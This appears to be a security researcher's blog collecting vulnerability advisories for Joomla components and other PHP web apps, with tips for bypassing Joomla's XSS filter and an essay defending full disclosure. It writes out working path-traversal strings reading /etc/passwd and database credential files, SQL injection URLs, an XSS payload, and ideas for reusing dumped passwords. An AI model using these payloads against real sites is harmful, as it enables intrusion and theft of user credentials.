The Joomla component com_jmsfileseller suffers from a Local File Inclusion vulnerability.

URL:
index.php?option=com_jmsfileseller&view=<LFI value>&cat_id=1&Itemid=27

Vulnerable parameter:
view

Example:
index.php?option=com_jmsfileseller&view=../../../etc/passwd%00&cat_id=12&Itemid=27

With great pleasure I hereby announce the availability of the new “The Joomla Hacking Compendium”. It contains almost 1000 lines of pure knowledge and shows you the way to hack and protect Joomla.

It contains the following chapters:

0x01 - Purpose of this document
0x02 - Introduction
0x03 - The Basics of Joomla
0x04 - The Joomla core
0x05 - Joomla extensions
0x06 - Hacking Joomla
0x07 - SEO, our strongest enemy
0x08 - Examples for Joomla SQL injections
0x09 - Examples for Joomla local file inclusions
0x10 - Examples for Joomla remote file inclusions
0x11 - Examples for Joomla XSSs/CSRFs
0x12 - How to protect your Joomla
0x13 - Conclusion and a look at Joomla's feature
0x14 - How to stay informed (or: the latest vulnerabilities)
0x15 - Useful tools
0x16 - Greetings and THX

Please find an excerpt below:

::
:: 0x04 - The Joomla core
::

Before inspecting the Joomla component attack vendors we first have a
look at the core.

Download Joomla somewhere and extract all files. Open the file
libraries/phpinputfilter/inputfilter.php
and look at the code:
----------------------------------------
var $tagsArray; // default = empty array
var $attrArray; // default = empty array

var $tagsMethod; // default = 0
var $attrMethod; // default = 0

var $xssAuto; // default = 1
var $tagBlacklist = array ('applet', 'body', 'bgsound' [...]
var $attrBlacklist = array ('action', 'background'     [...]
----------------------------------------

As you can see, some filter methods of Joomla are based on blacklisting.
This knowledge can be used later to exploit potential vulnerabilities in
a better way. I find this method not very effective, btw.

While HTML tags containing "body" or "bgsound" will be filtered out
at input fields or URL parameters, they can be written in many ways,
e.g. like "bOdY" or "b o DY" etc. You are only limited by your
creativity and will find ways for tricking the blacklist of the
Joomla framework.

Another interesting part is this one (same file):
----------------------------------------
/*
* Is there a tag? If so it will certainly start with a '<'
*/
$tagOpen_start  = strpos($source, '<');
while ($tagOpen_start !== false)
{
/*
* Get some information about the tag we are processing
*/
$preTag            .= substr($postTag, 0, $tagOpen_start);
$postTag                = substr($postTag, $tagOpen_start);
----------------------------------------

As you can see they assume that an HTML tag being used in XSS attacks
starts with a "<". In fact, I never use this character and many
XSS cheatsheets suggest this, too. With this information in mind,
you can most likely avoid being detected by the filters. You can start
your XSS string with "><tag... for example.

If you want to you can continue looking. You will find other filter
methods and, at the end of the file, there are also built in
mechanics which should help to prevent SQL injection vulnerabilities:
[...]

The South Korean Community/Website/Content Management System UTW suffers from various vulnerabilities.

Local File Inclusion
Script: utw_lib/get_file.php
Parameters: file, rfile
Example: utw_lib/get_file.php?rfile=<local path>&file=<local file name>

The script get_file.php is vulnerable to local file inclusion attacks. Arbitrary
files can be viewed by combining the values for the rfile and file parameters.

Source Code Disclosure
With the help of the LFI vulnerability the source code of every local script can be
viewed.
Example: utw_lib/get_file.php?rfile=get_file.php
(Yes, using the rfile variable is correct here, although its purpose is to
store a path.)

This knowledge can also be used to view local configuration files.
Example: utw_lib/get_file.php?rfile=dbinfo.inc.php
The file dbinfo.inc.php contents the MySQL data, such as the host, database,
user and password in plain text.
With the help of this information it is possible to access the MySQL server.

Cross-Site Request Forgery
Every input field I saw did not filter out HTML or JavaScript code.
I did not check if there are also XSS flaws, but there is a high chance
that you are able to permanently inject code, e.g. in the message board threads.

Low Security Levels
Since the user data is stored in plain text (including email addresses and
passwords), the identities of the registered userscan be stolen easily by
accessing the MySQL database.

Another aspect of this low security level is that many users use similar
passwords for different services, e.g. often only one password for communities
and email service logins is used.
In this case all the user passwords and their email addresses can be dumped
from the database and be used for trying to login to their email accounts.

The admin panel can be accessed by adding /utw_admin to the URL.

The product contains also a feature which makes it possible to download
files, their download locations are stored in the database. An attack scenario
would be to change the file downloads, so the users of the affected
website download malicious content.

External Website Rendering
(Un)Fortunately this product is not affected by a RFI vulnerability, or at
least I was not able to detect one. But rendering external websites in the
context of the thrusted website is possible.
Example: tw_lib/get_file.php?rfile=http://www,google.com

This is not a real vulnerability, but can be used to abuse the thrust of the
visitors in the affected website.

One thing I love to do since the beginning of this year is web penetration testing, and source code + security assessment. In most cases it is easy and most vulnerabilities fall within a typical category, such as SQL injection or local file inclusion. Web security is also often easy since you don’t need to craft any shellcode or possess deep knowledge about some kernel architecture and memory stuff. Although I always read stuff about assembler, memory registers, page swapping, the memory management unit, the translation lookaside buffer etc. in order to gain more knowledge about complicated stuff , it is still very fun to exploit obvious vulnerabilities.

Most of them are easy to find and also very easy to exploit.

When I started to publish advisories and exploits, I first contacted the software vendors. The purpose was to give them time to fix the vulnerabilities before I publish any documents. In some cases the vendors replied within minutes, being thankful for the support. Some of them didn’t reply at all and just ignored me and others published my email in public message boards and asked for advice. The consequences were quite funny in the last case. Some users of those message boards gave the advice to send me to hell, because they suspected me to only want to have the software for free for my “vulnerability assessment” (when it was commercial software).

Since some vendors just ignored my mails and left the vulnerabilities unfixed and since others replied not within 14 days, I decided to switch over to irresponsible full disclosure. The result was very amazing: Most vendors suddenly fixed all vulnerabilities within days or even hours, mostly because their customers notified them and demanded to react. Until now, no vendor ever was angry. Quite the opposite: I only received very friendly mails, asking me for help or thanking me for my work. I find this surprising since I am also damaging their vendor image at the same time. For this I don’t feel guilty, but I would understand if a vendor would be annoyed. Maybe I would if I sold software for a few hundred Euro and someone just published a vulnerability without contacting me first.

But well, my experiences with them shows that full disclosure indeed has many positive effects and sometimes you even get mentioned in public blogs or release notes of the affected software. Thank you for staying cool, software vendors!

Most authors being listed in exploit databases, such as Exploit DB or packet storm, do this work for fun and some of them never even hack websites. It is just the challenge of finding and exploiting a vulnerability which lets some of us sitting in front of the computer, instead of enjoying the warm weather outside or going out with friends.

But back to topic:

Many people are truly against full disclosure since
a) the vendors were not given any time at all for a reaction,
b) other people could exploit the new knowledge for their own purpose and e.g. immediately break into affected websites,
c) the image of the vendor and software gets damaged or
d) sometimes the information about a vulnerability is simply wrong or not described correctly.

I have seen information about vulnerabilities, e.g. stating that a local file inclusion was found. After having a look at the software on my Linux test box, I found out that there is no vulnerability at all. In such cases both the vendor and the customer (respectively the software user) are confused in may ways. They don’t know if they should do something about it, and when they want to do it, they can’t find the vulnerability at all. The customers think that the product is insecure and maybe switch over to another app, or even shut down their own website.

All those things are very good arguments and I can understand everyone claiming that full disclosure can be destructive.

On the other hand, full disclosure got many advantages, some of them are
a) e.g. the vendor is forced to do something, since also the customers may know about the weakness.
b) Many vendors simply react faster.
c) The knowledge about the vulnerability and how to exploit it is shared and other people can learn from it.
d) The customers, respectively the software users, have a right to know that the software is vulnerable and that their website/systems are affected.

Drawing the consequences of the last eight months, I will continue to publish everything I know a few hours after I found a vulnerability. Since the OSVDB and secunia often publish my vulnerabilities and notify the vendors, I even don’t write them anymore on my own. They also get notified by their customers anyway.

I am not performing any vulnerability or even binary assessment on software which needs to be compiled, so I believe the damage which could be done with the vulnerabilities being published by me is not that high. But I still understand that I carry some responsibility and should act accordingly. If you also publish vulnerabilities from time to time, I highly recommend that you also help the vendors to fix their bugs. This is only fair.

You can find more arguments and details about this debate in this blog post.

The web app OneOrZero AIMS Members Edition suffers from multiple remote vulnerabilities.

SQL Injection
Multiple scripts and parameters are affected by remote SQL injection vulnerabilities.
You can also manipulate SQL queries with the help of various search fields of this
web app.

Some example URLs:
index.php?controller=app_oneorzerohelpdesk_main&subcontroller=search_management_manage&option=saved_search&global=1&id=[SQL Injection]
index.php?controller=app_oneorzerohelpdesk_main&subcontroller=search_management_manage&option=show_item_search&item_types=[SQL Injection]

Local File Inclusion
index.php?controller=[LFI]&subcontroller=app_oneorzerotimemanager_manage&option=show_report
This vulnerability can be tricky to exploit. If OpenBaseDir is set, you can at least
view files in the directory of this web software.

I submitted an exploit which contains XSS code. Surprisingly this code gets parted when you view the submitted content. XSS is possible

Will e-mail them, let’s see their reaction.

The Joomla component com_jsupport suffers from a remote SQL injection vulnerability.

This vulnerability can be found by viewing the component in the Joomla administrator
backend.

Examples:
administrator/index.php?option=com_jsupport&task=listTickets&alpha=[SQL Injection]
administrator/index.php?option=com_jsupport&task=listFaqs&alpha=[SQL Injection]

The Joomla component com_jsupport suffers from a critical XSS vulnerability:

The component allows you to create and submit tickets. The tickets can be viewed
on the website and in the admin panel.

It is possible to inject arbitrary HTML and JS/VBS code into the title field of the
ticket. If someone else views the ticket list, the code gets executed in the
visitor's browser.

This vulnerability is considered as critical since the tickets are also displayed
in the administrator backend of Joomla. As soon as a user with extended priviledges
views the ticket list in the backend, the code gets executed and damage can be caused.

Example code for the ticket title field:
"><IMG """><SCRIPT>alert("XSS")</SCRIPT>

Multiple vulnerabilities within the Zeeways Adserver were found.

>> SQL Injection
Multiple scripts with multiple parameters are affected from this vulnerability.

Example #1:
index.php?section=redir&affid=0&kid=0&zid=[SQL Injection]

Example #2:
Visit the "register" page index.php?section=user&action=register and enter your
SQLi string into the email field. Fill out the other fields with some
normal stuff (like test) and view your result.

>> Cross-Site Request Forgery
Visit the "register" page index.php?section=user&action=register and enter your
CSRF string into the email field. Fill out the other fields with some
normal stuff (like test) and view your result.

>> Local Installation Path Disclosure
Visit index.php?section=doc&action= and fill out the action parameter.

Example:
index.php?section=doc&action=test

>> Interesting error message
Visit index.php?section=doc&action=test and play around with both the section and
action parameters. You will notice that a local file inclusion is not possible
(especially when you look at the section variable), but still you will be able
to "inject" some stuff in the action parameter.
For example use
index.php?section=doc&action=#
to get no output.

This is not a real code injection vulnerability, but still some special control
characters affect the output of the website. Maybe you are able to trigger some
interesting stuff.